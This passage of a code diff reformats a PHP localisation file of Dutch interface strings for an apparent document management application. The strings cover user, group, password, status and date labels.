+} +if (!defined('_FIRST_PSW')) { + define('_FIRST_PSW', 'Het eerste wachtwoord'); +} +if (!defined('_SECOND_PSW')) { + define('_SECOND_PSW', 'Het tweede wachtwoord'); +} +if (!defined('_PASSWORD_MODIFICATION')) { + define('_PASSWORD_MODIFICATION', 'Wijziging van wachtwoord'); +} +if (!defined('_PASSWORD_FOR_USER')) { + define('_PASSWORD_FOR_USER', 'Het wachtwoord voor de gebruiker'); +} +if (!defined('_HAS_BEEN_RESET')) { + define('_HAS_BEEN_RESET', 'werd gereset'); +} +if (!defined('_NEW_PASW_IS')) { + define('_NEW_PASW_IS', 'Het nieuwe wachtwoord is'); +} +if (!defined('_DURING_NEXT_CONNEXION')) { + define('_DURING_NEXT_CONNEXION', 'Bij de volgende verbinding'); +} +if (!defined('_MUST_CHANGE_PSW')) { + define('_MUST_CHANGE_PSW', 'moet zijn wachtwoord wijzigen'); +} +if (!defined('_NEW_PASSWORD_USER')) { + define('_NEW_PASSWORD_USER', 'Wachtwoord van de gebruiker opnieuw instellen'); +} +if (!defined('_PASSWORD_NOT_CHANGED')) { + define('_PASSWORD_NOT_CHANGED', 'Probleem bij het wijziging van het wachtwoord'); +} +if (!defined('_ALREADY_CREATED_AND_DELETED')) { + define('_ALREADY_CREATED_AND_DELETED', 'De gevraagde gebruiker werd verwijderd. Klik bovenaan links op opnieuw activeren om het opnieuw toe te voegen'); +} +if (!defined('_REACTIVATE')) { + define('_REACTIVATE', 'Opnieuw activeren'); +} +if (!defined('_DOCTYPES_LIST')) { + define('_DOCTYPES_LIST', 'Lijst van de documenttypes'); +} +if (!defined('_TYPES')) { + define('_TYPES', 'types'); +} +if (!defined('_MORE_THAN_ONE')) { + define('_MORE_THAN_ONE', 'Herhaald stuk'); +} +if (!defined('_START_DATE')) { + define('_START_DATE', 'Startdatum'); +} +if (!defined('_END_DATE')) { + define('_END_DATE', 'Einddatum'); +} +if (!defined('_FIELD')) { + define('_FIELD', 'Veld'); +} +if (!defined('_USED')) { + define('_USED', 'Gebruikt'); +} +if (!defined('_MANDATORY')) { + define('_MANDATORY', 'Verplicht'); +} +if (!defined('_ITERATIVE')) { + define('_ITERATIVE', 'Herhalend'); +} +if (!defined('_NATURE_FIELD')) { + define('_NATURE_FIELD', 'Aard veld'); +} +if (!defined('_TYPE_FIELD')) { + define('_TYPE_FIELD', 'Type veld'); +} +if (!defined('_DB_COLUMN')) { + define('_DB_COLUMN', 'Kolom Database'); +} +if (!defined('_FIELD_VALUES')) { + define('_FIELD_VALUES', 'Waarden'); +} +if (!defined('_STRUCTURE')) { + define('_STRUCTURE', 'Map'); +} +if (!defined('_FONT_COLOR')) { + define('_FONT_COLOR', 'Kleur van het lettertype'); +} +if (!defined('_FONT_SIZE')) { + define('_FONT_SIZE', 'Grootte van het lettertype'); +} +if (!defined('_CSS_STYLE')) { + define('_CSS_STYLE', 'Stijl'); +} +if (!defined('_CHOOSE_STYLE')) { + define('_CHOOSE_STYLE', 'Kies een stijl'); +} +if (!defined('_BLACK')) { + define('_BLACK', 'Zwart'); +} +if (!defined('_BEIGE')) { + define('_BEIGE', 'Beige'); +} +if (!defined('_BLUE')) { + define('_BLUE', 'Blauw'); +} +if (!defined('_BLUE_BOLD')) { + define('_BLUE_BOLD', 'Blauw (vet)'); +} +if (!defined('_GREY')) { + define('_GREY', 'Grijs'); +} +if (!defined('_YELLOW')) { + define('_YELLOW', 'Geel'); +} +if (!defined('_BROWN')) { + define('_BROWN', 'Bruin'); +} +if (!defined('_BLACK_BOLD')) { + define('_BLACK_BOLD', 'Zwart (vet)'); +} +if (!defined('_ORANGE')) { + define('_ORANGE', 'Oranje'); +} +if (!defined('_ORANGE_BOLD')) { + define('_ORANGE_BOLD', 'Oranje (vet)'); +} +if (!defined('_PINK')) { + define('_PINK', 'Roze'); +} +if (!defined('_RED')) { + define('_RED', 'Rood'); +} +if (!defined('_GREEN')) { + define('_GREEN', 'Groen'); +} +if (!defined('_PURPLE')) { + define('_PURPLE', 'Paars'); +} +if (!defined('_SUBFOLDER')) { + define('_SUBFOLDER', 'submap'); +} +if (!defined('_ATTACH_STRUCTURE')) { + define('_ATTACH_STRUCTURE', 'Aan een map koppelen'); +} +if (!defined('_CHOOSE_STRUCTURE')) { + define('_CHOOSE_STRUCTURE', 'Een map kiezen'); +} +if (!defined('_DEL_SUBFOLDER')) { + define('_DEL_SUBFOLDER', 'Submap verwijderen'); +} +if (!defined('_SUBFOLDER_DELETED')) { + define('_SUBFOLDER_DELETED', 'Submap verwijderd'); +} +if (!defined('_STATUS_LIST')) { + define('_STATUS_LIST', 'Statussenlijst'); +} +if (!defined('_ADD_STATUS')) { + define('_ADD_STATUS', 'Nieuwe status toevoegen'); +} +if (!defined('_ALL_STATUS')) { + define('_ALL_STATUS', 'Alle statussen'); +} +if (!defined('_STATUS_PLUR')) { + define('_STATUS_PLUR', 'Status(sen)'); +} +if (!defined('_STATUS_SING')) { + define('_STATUS_SING', 'status'); +} +if (!defined('_TO_PROCESS')) { + define('_TO_PROCESS', 'Te verwerken'); +} +if (!defined('_IN_PROGRESS')) { + define('_IN_PROGRESS', 'Bezig'); +} +if (!defined('_FIRST_WARNING')) { + define('_FIRST_WARNING', '1e herinnering'); +} +if (!defined('_SECOND_WARNING')) { + define('_SECOND_WARNING', '2e herinnering'); +} +if (!defined('_CLOSED')) { + define('_CLOSED', 'Afgesloten'); +} +if (!defined('_NEW')) { + define('_NEW', 'Nieuw(e)'); +} +if (!defined('_NEW_ITEM')) { + define('_NEW_ITEM', 'Nieuw(e)'); +} +if (!defined('_LATE')) { + define('_LATE', 'Te laat'); +} +if (!defined('_STATUS_MODIFIED')) { + define('_STATUS_MODIFIED', 'Wijziging van een status'); +} +if (!defined('_IS_SYSTEM')) { + define('_IS_SYSTEM', 'Systeem'); +} +if (!defined('_ADMIN_STATUS')) { + define('_ADMIN_STATUS', 'Statussen'); +} +if (!defined('_ACTION_LIST')) { + define('_ACTION_LIST', 'Actielijst'); +} +if (!defined('_ADMIN_ACTIONS')) { + define('_ADMIN_ACTIONS', 'Acties'); +} // if (!defined('_KEYWORD_REDIRECT_DESC')) { define('_KEYWORD_REDIRECT_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen, met name de diensten en/of gebruikers die voor de omleiding beschikbaar zijn.');} // if (!defined('_KEYWORD_INDEXING_DESC')) { define('_KEYWORD_INDEXING_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen met name de beschikbare verwerkende diensten en/of mogelijke status(sen) voor een documentregistratie / -wijziging');} -if (!defined('_HISTORY_TITLE')) { define('_HISTORY_TITLE', 'Geschiedenis van de evenementen');} -if (!defined('_HISTORY_BATCH_TITLE')) { define('_HISTORY_BATCH_TITLE', 'Geschiedenis van de batchevenementen');} -if (!defined('_BATCH_NAME')) { define('_BATCH_NAME', 'Naam van de batch');} -if (!defined('_CHOOSE_BATCH')) { define('_CHOOSE_BATCH', 'Batch kiezen');} -if (!defined('_BATCH_ID')) { define('_BATCH_ID', 'Batch Id');} -if (!defined('_TOTAL_PROCESSED')) { define('_TOTAL_PROCESSED', 'Verwerkte documenten');} -if (!defined('_TOTAL_ERRORS')) { define('_TOTAL_ERRORS', 'Documenten met fouten');} -if (!defined('_ONLY_ERRORS')) { define('_ONLY_ERRORS', 'Enkel met fouten');} -if (!defined('_INFOS')) { define('_INFOS', 'Informatie');} -if (!defined('_ARCHITECTURE')) { define('_ARCHITECTURE', 'Klasseringsplan');} -if (!defined('_MORE_INFOS')) { define('_MORE_INFOS', 'Neem contact op met uw beheerder voor meer informatie');} -if (!defined('_ALREADY_EXISTS')) { define('_ALREADY_EXISTS', 'bestaat reeds');} -if (!defined('_DOCSERVER_ERROR')) { define('_DOCSERVER_ERROR', 'Fout met de docserver');} -if (!defined('_NO_AVAILABLE_DOCSERVER')) { define('_NO_AVAILABLE_DOCSERVER', 'Geen docserver beschikbaar');} -if (!defined('_NOT_ENOUGH_DISK_SPACE')) { define('_NOT_ENOUGH_DISK_SPACE', 'Onvoldoende plaats beschikbaar op de server');} -if (!defined('_NO_GROUP')) { define('_NO_GROUP', 'De groep bestaat niet!');} -if (!defined('_NO_SECURITY_AND_NO_SERVICES')) { define('_NO_SECURITY_AND_NO_SERVICES', 'Heeft geen gedefinieerde beveiliging en geen dienst');} -if (!defined('_GROUP_ADDED')) { define('_GROUP_ADDED', 'Nieuwe groep toegevoegd');} -if (!defined('_SYNTAX_ERROR_WHERE_CLAUSE')) { define('_SYNTAX_ERROR_WHERE_CLAUSE', 'Syntax error in de where clause');} -if (!defined('_GROUP_UPDATED')) { define('_GROUP_UPDATED', 'Gewijzigde groep');} -if (!defined('_AUTORIZED_GROUP')) { define('_AUTORIZED_GROUP', 'Toegelaten groep');} -if (!defined('_SUSPENDED_GROUP')) { define('_SUSPENDED_GROUP', 'Opgeschorte groep');} -if (!defined('_DELETED_GROUP')) { define('_DELETED_GROUP', 'Verwijderde groep');} -if (!defined('_GROUP_UPDATE')) { define('_GROUP_UPDATE', 'Wijziging van de groep;');} -if (!defined('_GROUP_AUTORIZATION')) { define('_GROUP_AUTORIZATION', 'Toelating van de groep');} -if (!defined('_GROUP_SUSPENSION')) { define('_GROUP_SUSPENSION', 'Opschorting van de groep');} -if (!defined('_GROUP_DELETION')) { define('_GROUP_DELETION', 'Verwijdering van de groep');} -if (!defined('_GROUP_DESC')) { define('_GROUP_DESC', 'De beschrijving van de groep');} -if (!defined('_GROUP_ID')) { define('_GROUP_ID', 'De gebruikersnaam van de groep');} -if (!defined('_EXPORT_RIGHT')) { define('_EXPORT_RIGHT', 'Uitvoerrechten');} -if (!defined('_USER_NO_GROUP')) { define('_USER_NO_GROUP', 'U behoort tot geen enkele groep');} -if (!defined('_SUSPENDED_ACCOUNT')) { define('_SUSPENDED_ACCOUNT', 'Uw gebruikersaccount werd geschorst');} -if (!defined('_BAD_LOGIN_OR_PSW')) { define('_BAD_LOGIN_OR_PSW', 'Verkeerde gebruikersnaam of verkeerd wachtwoord');} -if (!defined('_EMPTY_PSW')) { define('_EMPTY_PSW', 'Huidig wachtwoord leeg');} -if (!defined('_AUTORIZED_USER')) { define('_AUTORIZED_USER', 'Toegelaten gebruiker');} -if (!defined('_SUSPENDED_USER')) { define('_SUSPENDED_USER', 'Geschorste gebruiker');} -if (!defined('_DELETED_USER')) { define('_DELETED_USER', 'Verwijderde gebruiker');} -if (!defined('_USER_DELETION')) { define('_USER_DELETION', 'Verwijdering van de gebruiker');} -if (!defined('_USER_AUTORIZATION')) { define('_USER_AUTORIZATION', 'Toelating van de gebruiker');} -if (!defined('_USER_SUSPENSION')) { define('_USER_SUSPENSION', 'Opschorting van de gebruiker');} -if (!defined('_USER_UPDATED')) { define('_USER_UPDATED', 'Gewijzigde gebruiker');} -if (!defined('_USER_UPDATE')) { define('_USER_UPDATE', 'Wijziging van een gebruiker');} -if (!defined('_USER_ADDED')) { define('_USER_ADDED', 'Nieuwe gebruiker toegevoegd');} -if (!defined('_THE_USER')) { define('_THE_USER', 'De gebruiker');} -if (!defined('_USER_ID')) { define('_USER_ID', 'De gebruikersnaam van de gebruiker');} -if (!defined('_MY_INFO')) { define('_MY_INFO', 'Mijn Profiel');} -if (!defined('_UNKNOWN_PARAM')) { define('_UNKNOWN_PARAM', 'Onbekende instellingen');} -if (!defined('_DOCTYPE_UPDATE')) { define('_DOCTYPE_UPDATE', 'Wijziging van het documenttype');} -if (!defined('_DOCTYPE_DELETION')) { define('_DOCTYPE_DELETION', 'Verwijdering van het documenttype');} -if (!defined('_THE_DOCTYPE')) { define('_THE_DOCTYPE', 'Het documenttype');} -if (!defined('_THE_WORDING')) { define('_THE_WORDING', 'De omschrijving');} -if (!defined('_THE_TABLE')) { define('_THE_TABLE', 'De tabel');} -if (!defined('_PIECE_TYPE')) { define('_PIECE_TYPE', 'Type stuk');} -if (!defined('_CONNEXION_ERROR')) { define('_CONNEXION_ERROR', 'Fout bij verbinding');} -if (!defined('_SELECTION_BASE_ERROR')) { define('_SELECTION_BASE_ERROR', 'Fout bij selectie van database');} -if (!defined('_QUERY_ERROR')) { define('_QUERY_ERROR', 'Fout bij verzoek');} -if (!defined('_CLOSE_CONNEXION_ERROR')) { define('_CLOSE_CONNEXION_ERROR', 'Fout bij afsluiten van verbinding');} -if (!defined('_ERROR_NUM')) { define('_ERROR_NUM', 'De fout nr.');} -if (!defined('_HAS_JUST_OCCURED')) { define('_HAS_JUST_OCCURED', 'heeft zich voorgedaan');} -if (!defined('_MESSAGE')) { define('_MESSAGE', 'Bericht');} -if (!defined('_QUERY')) { define('_QUERY', 'Verzoek');} -if (!defined('_LAST_QUERY')) { define('_LAST_QUERY', 'Laatste verzoek');} -if (!defined('_NO_GROUP_SELECTED')) { define('_NO_GROUP_SELECTED', 'Geen groep geselecteerd');} -if (!defined('_NOW_LOG_OUT')) { define('_NOW_LOG_OUT', 'Uw verbinding is nu verbroken');} -if (!defined('_DOC_NOT_FOUND')) { define('_DOC_NOT_FOUND', 'Document onvindbaar');} -if (!defined('_DOUBLED_DOC')) { define('_DOUBLED_DOC', 'Probleem met dubbele elementen');} -if (!defined('_NO_DOC_OR_NO_RIGHTS')) { define('_NO_DOC_OR_NO_RIGHTS', 'Dit document bestaat niet of u heeft niet de nodige rechten om er toegang toe te verkrijgen');} -if (!defined('_INEXPLICABLE_ERROR')) { define('_INEXPLICABLE_ERROR', 'Er is een onverklaarbare fout opgetreden');} -if (!defined('_TRY_AGAIN_SOON')) { define('_TRY_AGAIN_SOON', 'Probeer het binnen enkele momenten opnieuw');} -if (!defined('_NO_OTHER_RECIPIENT')) { define('_NO_OTHER_RECIPIENT', 'Er is geen andere bestemmeling van deze brief');} -if (!defined('_WAITING_INTEGER')) { define('_WAITING_INTEGER', 'Geheel getal verwacht');} -if (!defined('_WAITING_FLOAT')) { define('_WAITING_FLOAT', 'Zwevend getal verwacht');} -if (!defined('_DEFINE')) { define('_DEFINE', 'Preciseren');} -if (!defined('_NUM')) { define('_NUM', 'Nr.');} -if (!defined('_ROAD')) { define('_ROAD', 'Straat');} -if (!defined('_POSTAL_CODE')) { define('_POSTAL_CODE', 'Postcode');} -if (!defined('_CITY')) { define('_CITY', 'Gemeente');} -if (!defined('_CHOOSE_USER')) { define('_CHOOSE_USER', 'U moet een gebruiker kiezen');} -if (!defined('_CHOOSE_USER2')) { define('_CHOOSE_USER2', 'Kies een gebruiker');} -if (!defined('_NUM2')) { define('_NUM2', 'Nummer');} -if (!defined('_UNDEFINED')) { define('_UNDEFINED', 'N/A');} -if (!defined('_SERVICE')) { define('_SERVICE', 'Dienst');} -if (!defined('_AVAILABLE_SERVICES')) { define('_AVAILABLE_SERVICES', 'Beschikbare diensten');} -if (!defined('_JANUARY')) { define('_JANUARY', 'Januari');} -if (!defined('_FEBRUARY')) { define('_FEBRUARY', 'Februari');} -if (!defined('_MARCH')) { define('_MARCH', 'Maart');} -if (!defined('_APRIL')) { define('_APRIL', 'April');} -if (!defined('_MAY')) { define('_MAY', 'Mei');} -if (!defined('_JUNE')) { define('_JUNE', 'Juni');} -if (!defined('_JULY')) { define('_JULY', 'Juli');} -if (!defined('_AUGUST')) { define('_AUGUST', 'Augustus');} -if (!defined('_SEPTEMBER')) { define('_SEPTEMBER', 'September');} -if (!defined('_OCTOBER')) { define('_OCTOBER', 'Oktober');} -if (!defined('_NOVEMBER')) { define('_NOVEMBER', 'November');} -if (!defined('_DECEMBER')) { define('_DECEMBER', 'December');} -if (!defined('_NOW_LOGOUT')) { define('_NOW_LOGOUT', 'Uw verbinding is nu verbroken.');} -if (!defined('_WELCOME2')) { define('_WELCOME2', 'Welkom');} -if (!defined('_CONTRACT_HISTORY')) { define('_CONTRACT_HISTORY', 'Geschiedenis van de contracten');} -if (!defined('_CLICK_CALENDAR')) { define('_CLICK_CALENDAR', 'Klik om een datum te kiezen');} -if (!defined('_MODULES')) { define('_MODULES', 'Modules');} -if (!defined('_CHOOSE_MODULE')) { define('_CHOOSE_MODULE', 'Kies een module');} -if (!defined('_FOLDER')) { define('_FOLDER', 'Map');} -if (!defined('_INDEX')) { define('_INDEX', 'Inhoudstafel');} -if (!defined('_MAILS')) { define('_MAILS', 'Brieven');} -if (!defined('_DOCUMENTS')) { define('_DOCUMENTS', 'Vastgoedleningen');} -if (!defined('_INVOICES')) { define('_INVOICES', 'Facturen');} -if (!defined('_SAMPLE')) { define('_SAMPLE', 'Verzameling voorbeeld');} -if (!defined('_CHOOSE_COLLECTION')) { define('_CHOOSE_COLLECTION', 'Een verzameling kiezen');} -if (!defined('_COLLECTION')) { define('_COLLECTION', 'Verzameling');} -if (!defined('_EVENT')) { define('_EVENT', 'Evenement');} -if (!defined('_LINK')) { define('_LINK', 'Verbinding');} -if (!defined('_FILING')) { define('_FILING', 'Type');} -if (!defined('_CHOOSE_DIFFUSION_LIST')) { define('_CHOOSE_DIFFUSION_LIST', 'Kies een verdelingslijst');} -if (!defined('_DIFF_LIST_HISTORY')) { define('_DIFF_LIST_HISTORY', 'Delingsgeschiedenis');} -if (!defined('_DIFF_LIST_VISA_HISTORY')) { define('_DIFF_LIST_VISA_HISTORY', 'Geschiedenis van het goedkeuringscircuit');} -if (!defined('_DIFF_LIST_AVIS_HISTORY')) { define('_DIFF_LIST_AVIS_HISTORY', 'Geschiedenis van het berichtencircuit');} -if (!defined('_MODIFY_BY')) { define('_MODIFY_BY', 'Gewijzigd door');} -if (!defined('_DIFFLIST_NEVER_MODIFIED')) { define('_DIFFLIST_NEVER_MODIFIED', 'De verdelingslijst werd nooit gewijzigd');} -if (!defined('_NO_RIGHT')) { define('_NO_RIGHT', 'Fout');} -if (!defined('_NO_RIGHT_TXT')) { define('_NO_RIGHT_TXT', 'U probeerde toegang te verkrijgen tot een document waar u geen recht op heeft of het document bestaat niet...');} -if (!defined('_NUM_GED')) { define('_NUM_GED', 'GED NR.');} -if (!defined('_AJAX_PARAM_ERROR')) { define('_AJAX_PARAM_ERROR', 'Fout overgang instellingen Ajax');} -if (!defined('_ACTION_CONFIRM')) { define('_ACTION_CONFIRM', 'Wilt u de volgende actie uitvoeren:');} -if (!defined('_ADD_ATTACHMENT_OR_NOTE')) { define('_ADD_ATTACHMENT_OR_NOTE', 'Voeg een bijlage of een nota toe voor deze brief/brieven');} -if (!defined('_CLOSE_MAIL_WITH_ATTACHMENT')) { define('_CLOSE_MAIL_WITH_ATTACHMENT', 'Een brief met een bijlage afsluiten');} +if (!defined('_HISTORY_TITLE')) { + define('_HISTORY_TITLE', 'Geschiedenis van de evenementen'); +} +if (!defined('_HISTORY_BATCH_TITLE')) { + define('_HISTORY_BATCH_TITLE', 'Geschiedenis van de batchevenementen'); +} +if (!defined('_BATCH_NAME')) { + define('_BATCH_NAME', 'Naam van de batch'); +} +if (!defined('_CHOOSE_BATCH')) { + define('_CHOOSE_BATCH', 'Batch kiezen'); +} +if (!defined('_BATCH_ID')) { + define('_BATCH_ID', 'Batch Id'); +} +if (!defined('_TOTAL_PROCESSED')) { + define('_TOTAL_PROCESSED', 'Verwerkte documenten'); +} +if (!defined('_TOTAL_ERRORS')) { + define('_TOTAL_ERRORS', 'Documenten met fouten'); +} +if (!defined('_ONLY_ERRORS')) { + define('_ONLY_ERRORS', 'Enkel met fouten'); +} +if (!defined('_INFOS')) { + define('_INFOS', 'Informatie'); +} +if (!defined('_ARCHITECTURE')) { + define('_ARCHITECTURE', 'Klasseringsplan'); +} +if (!defined('_MORE_INFOS')) { + define('_MORE_INFOS', 'Neem contact op met uw beheerder voor meer informatie'); +} +if (!defined('_ALREADY_EXISTS')) { + define('_ALREADY_EXISTS', 'bestaat reeds'); +} +if (!defined('_DOCSERVER_ERROR')) { + define('_DOCSERVER_ERROR', 'Fout met de docserver'); +} +if (!defined('_NO_AVAILABLE_DOCSERVER')) { + define('_NO_AVAILABLE_DOCSERVER', 'Geen docserver beschikbaar'); +} +if (!defined('_NOT_ENOUGH_DISK_SPACE')) { + define('_NOT_ENOUGH_DISK_SPACE', 'Onvoldoende plaats beschikbaar op de server'); +} +if (!defined('_NO_GROUP')) { + define('_NO_GROUP', 'De groep bestaat niet!'); +} +if (!defined('_NO_SECURITY_AND_NO_SERVICES')) { + define('_NO_SECURITY_AND_NO_SERVICES', 'Heeft geen gedefinieerde beveiliging en geen dienst'); +} +if (!defined('_GROUP_ADDED')) { + define('_GROUP_ADDED', 'Nieuwe groep toegevoegd'); +} +if (!defined('_SYNTAX_ERROR_WHERE_CLAUSE')) { + define('_SYNTAX_ERROR_WHERE_CLAUSE', 'Syntax error in de where clause'); +} +if (!defined('_GROUP_UPDATED')) { + define('_GROUP_UPDATED', 'Gewijzigde groep'); +} +if (!defined('_AUTORIZED_GROUP')) { + define('_AUTORIZED_GROUP', 'Toegelaten groep'); +} +if (!defined('_SUSPENDED_GROUP')) { + define('_SUSPENDED_GROUP', 'Opgeschorte groep'); +} +if (!defined('_DELETED_GROUP')) { + define('_DELETED_GROUP', 'Verwijderde groep'); +} +if (!defined('_GROUP_UPDATE')) { + define('_GROUP_UPDATE', 'Wijziging van de groep;'); +} +if (!defined('_GROUP_AUTORIZATION')) { + define('_GROUP_AUTORIZATION', 'Toelating van de groep'); +} +if (!defined('_GROUP_SUSPENSION')) { + define('_GROUP_SUSPENSION', 'Opschorting van de groep'); +} +if (!defined('_GROUP_DELETION')) { + define('_GROUP_DELETION', 'Verwijdering van de groep'); +} +if (!defined('_GROUP_DESC')) { + define('_GROUP_DESC', 'De beschrijving van de groep'); +} +if (!defined('_GROUP_ID')) { + define('_GROUP_ID', 'De gebruikersnaam van de groep'); +} +if (!defined('_EXPORT_RIGHT')) { + define('_EXPORT_RIGHT', 'Uitvoerrechten'); +} +if (!defined('_USER_NO_GROUP')) { + define('_USER_NO_GROUP', 'U behoort tot geen enkele groep'); +} +if (!defined('_SUSPENDED_ACCOUNT')) { + define('_SUSPENDED_ACCOUNT', 'Uw gebruikersaccount werd geschorst'); +} +if (!defined('_BAD_LOGIN_OR_PSW')) { + define('_BAD_LOGIN_OR_PSW', 'Verkeerde gebruikersnaam of verkeerd wachtwoord'); +} +if (!defined('_EMPTY_PSW')) { + define('_EMPTY_PSW', 'Huidig wachtwoord leeg'); +} +if (!defined('_AUTORIZED_USER')) { + define('_AUTORIZED_USER', 'Toegelaten gebruiker'); +} +if (!defined('_SUSPENDED_USER')) { + define('_SUSPENDED_USER', 'Geschorste gebruiker'); +} +if (!defined('_DELETED_USER')) { + define('_DELETED_USER', 'Verwijderde gebruiker'); +} +if (!defined('_USER_DELETION')) { + define('_USER_DELETION', 'Verwijdering van de gebruiker'); +} +if (!defined('_USER_AUTORIZATION')) { + define('_USER_AUTORIZATION', 'Toelating van de gebruiker'); +} +if (!defined('_USER_SUSPENSION')) { + define('_USER_SUSPENSION', 'Opschorting van de gebruiker'); +} +if (!defined('_USER_UPDATED')) { + define('_USER_UPDATED', 'Gewijzigde gebruiker'); +} +if (!defined('_USER_UPDATE')) { + define('_USER_UPDATE', 'Wijziging van een gebruiker'); +} +if (!defined('_USER_ADDED')) { + define('_USER_ADDED', 'Nieuwe gebruiker toegevoegd'); +} +if (!defined('_THE_USER')) { + define('_THE_USER', 'De gebruiker'); +} +if (!defined('_USER_ID')) { + define('_USER_ID', 'De gebruikersnaam van de gebruiker'); +} +if (!defined('_MY_INFO')) { + define('_MY_INFO', 'Mijn Profiel'); +} +if (!defined('_UNKNOWN_PARAM')) { + define('_UNKNOWN_PARAM', 'Onbekende instellingen'); +} +if (!defined('_DOCTYPE_UPDATE')) { + define('_DOCTYPE_UPDATE', 'Wijziging van het documenttype'); +} +if (!defined('_DOCTYPE_DELETION')) { + define('_DOCTYPE_DELETION', 'Verwijdering van het documenttype'); +} +if (!defined('_THE_DOCTYPE')) { + define('_THE_DOCTYPE', 'Het documenttype'); +} +if (!defined('_THE_WORDING')) { + define('_THE_WORDING', 'De omschrijving'); +} +if (!defined('_THE_TABLE')) { + define('_THE_TABLE', 'De tabel'); +} +if (!defined('_PIECE_TYPE')) { + define('_PIECE_TYPE', 'Type stuk'); +} +if (!defined('_CONNEXION_ERROR')) { + define('_CONNEXION_ERROR', 'Fout bij verbinding'); +} +if (!defined('_SELECTION_BASE_ERROR')) { + define('_SELECTION_BASE_ERROR', 'Fout bij selectie van database'); +} +if (!defined('_QUERY_ERROR')) { + define('_QUERY_ERROR', 'Fout bij verzoek'); +} +if (!defined('_CLOSE_CONNEXION_ERROR')) { + define('_CLOSE_CONNEXION_ERROR', 'Fout bij afsluiten van verbinding'); +} +if (!defined('_ERROR_NUM')) { + define('_ERROR_NUM', 'De fout nr.'); +} +if (!defined('_HAS_JUST_OCCURED')) { + define('_HAS_JUST_OCCURED', 'heeft zich voorgedaan'); +} +if (!defined('_MESSAGE')) { + define('_MESSAGE', 'Bericht'); +} +if (!defined('_QUERY')) { + define('_QUERY', 'Verzoek'); +} +if (!defined('_LAST_QUERY')) { + define('_LAST_QUERY', 'Laatste verzoek'); +} +if (!defined('_NO_GROUP_SELECTED')) { + define('_NO_GROUP_SELECTED', 'Geen groep geselecteerd'); +} +if (!defined('_NOW_LOG_OUT')) { + define('_NOW_LOG_OUT', 'Uw verbinding is nu verbroken'); +} +if (!defined('_DOC_NOT_FOUND')) { + define('_DOC_NOT_FOUND', 'Document onvindbaar'); +} +if (!defined('_DOUBLED_DOC')) { + define('_DOUBLED_DOC', 'Probleem met dubbele elementen'); +} +if (!defined('_NO_DOC_OR_NO_RIGHTS')) { + define('_NO_DOC_OR_NO_RIGHTS', 'Dit document bestaat niet of u heeft niet de nodige rechten om er toegang toe te verkrijgen'); +} +if (!defined('_INEXPLICABLE_ERROR')) { + define('_INEXPLICABLE_ERROR', 'Er is een onverklaarbare fout opgetreden'); +} +if (!defined('_TRY_AGAIN_SOON')) { + define('_TRY_AGAIN_SOON', 'Probeer het binnen enkele momenten opnieuw'); +} +if (!defined('_NO_OTHER_RECIPIENT')) { + define('_NO_OTHER_RECIPIENT', 'Er is geen andere bestemmeling van deze brief'); +} +if (!defined('_WAITING_INTEGER')) { + define('_WAITING_INTEGER', 'Geheel getal verwacht'); +} +if (!defined('_WAITING_FLOAT')) { + define('_WAITING_FLOAT', 'Zwevend getal verwacht'); +} +if (!defined('_DEFINE')) { + define('_DEFINE', 'Preciseren'); +} +if (!defined('_NUM')) { + define('_NUM', 'Nr.'); +} +if (!defined('_ROAD')) { + define('_ROAD', 'Straat'); +} +if (!defined('_POSTAL_CODE')) { + define('_POSTAL_CODE', 'Postcode'); +} +if (!defined('_CITY')) { + define('_CITY', 'Gemeente'); +} +if (!defined('_CHOOSE_USER')) { + define('_CHOOSE_USER', 'U moet een gebruiker kiezen'); +} +if (!defined('_CHOOSE_USER2')) { + define('_CHOOSE_USER2', 'Kies een gebruiker'); +} +if (!defined('_NUM2')) { + define('_NUM2', 'Nummer'); +} +if (!defined('_UNDEFINED')) { + define('_UNDEFINED', 'N/A'); +} +if (!defined('_SERVICE')) { + define('_SERVICE', 'Dienst'); +} +if (!defined('_AVAILABLE_SERVICES')) { + define('_AVAILABLE_SERVICES', 'Beschikbare diensten'); +} +if (!defined('_JANUARY')) { + define('_JANUARY', 'Januari'); +} +if (!defined('_FEBRUARY')) { + define('_FEBRUARY', 'Februari'); +} +if (!defined('_MARCH')) { + define('_MARCH', 'Maart'); +} +if (!defined('_APRIL')) { + define('_APRIL', 'April'); +} +if (!defined('_MAY')) { + define('_MAY', 'Mei'); +} +if (!defined('_JUNE')) { + define('_JUNE', 'Juni'); +} +if (!defined('_JULY')) { + define('_JULY', 'Juli'); +} +if (!defined('_AUGUST')) { + define('_AUGUST', 'Augustus'); +} +if (!defined('_SEPTEMBER')) { + define('_SEPTEMBER', 'September'); +} +if (!defined('_OCTOBER')) { + define('_OCTOBER', 'Oktober'); +} +if (!defined('_NOVEMBER')) { + define('_NOVEMBER', 'November'); +} +if (!defined('_DECEMBER')) { + define('_DECEMBER', 'December'); +} +if (!defined('_NOW_LOGOUT')) { + define('_NOW_LOGOUT', 'Uw verbinding is nu verbroken.'); +} +if (!defined('_WELCOME2')) { + define('_WELCOME2', 'Welkom'); +} +if (!defined('_CONTRACT_HISTORY')) { + define('_CONTRACT_HISTORY', 'Geschiedenis van de contracten'); +} +if (!defined('_CLICK_CALENDAR')) { + define('_CLICK_CALENDAR', 'Klik om een datum te kiezen'); +} +if (!defined('_MODULES')) { + define('_MODULES', 'Modules'); +} +if (!defined('_CHOOSE_MODULE')) { + define('_CHOOSE_MODULE', 'Kies een module'); +} +if (!defined('_FOLDER')) { + define('_FOLDER', 'Map'); +} +if (!defined('_INDEX')) { + define('_INDEX', 'Inhoudstafel'); +} +if (!defined('_MAILS')) { + define('_MAILS', 'Brieven'); +} +if (!defined('_DOCUMENTS')) { + define('_DOCUMENTS', 'Vastgoedleningen'); +} +if (!defined('_INVOICES')) { + define('_INVOICES', 'Facturen'); +} +if (!defined('_SAMPLE')) { + define('_SAMPLE', 'Verzameling voorbeeld'); +} +if (!defined('_CHOOSE_COLLECTION')) { + define('_CHOOSE_COLLECTION', 'Een verzameling kiezen'); +} +if (!defined('_COLLECTION')) { + define('_COLLECTION', 'Verzameling'); +} +if (!defined('_EVENT')) { + define('_EVENT', 'Evenement'); +} +if (!defined('_LINK')) { + define('_LINK', 'Verbinding'); +} +if (!defined('_FILING')) { + define('_FILING', 'Type'); +} +if (!defined('_CHOOSE_DIFFUSION_LIST')) { + define('_CHOOSE_DIFFUSION_LIST', 'Kies een verdelingslijst'); +} +if (!defined('_DIFF_LIST_HISTORY')) { + define('_DIFF_LIST_HISTORY', 'Delingsgeschiedenis'); +} +if (!defined('_DIFF_LIST_VISA_HISTORY')) { + 